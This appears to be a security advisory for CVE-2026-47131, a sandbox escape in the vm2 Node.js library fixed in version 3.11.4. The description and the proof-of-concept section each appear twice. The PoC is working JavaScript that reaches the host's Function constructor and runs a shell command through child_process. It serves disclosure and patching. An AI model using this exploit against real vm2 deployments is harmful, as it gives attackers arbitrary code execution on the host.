CVE-2026-47131

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.

### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE

### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE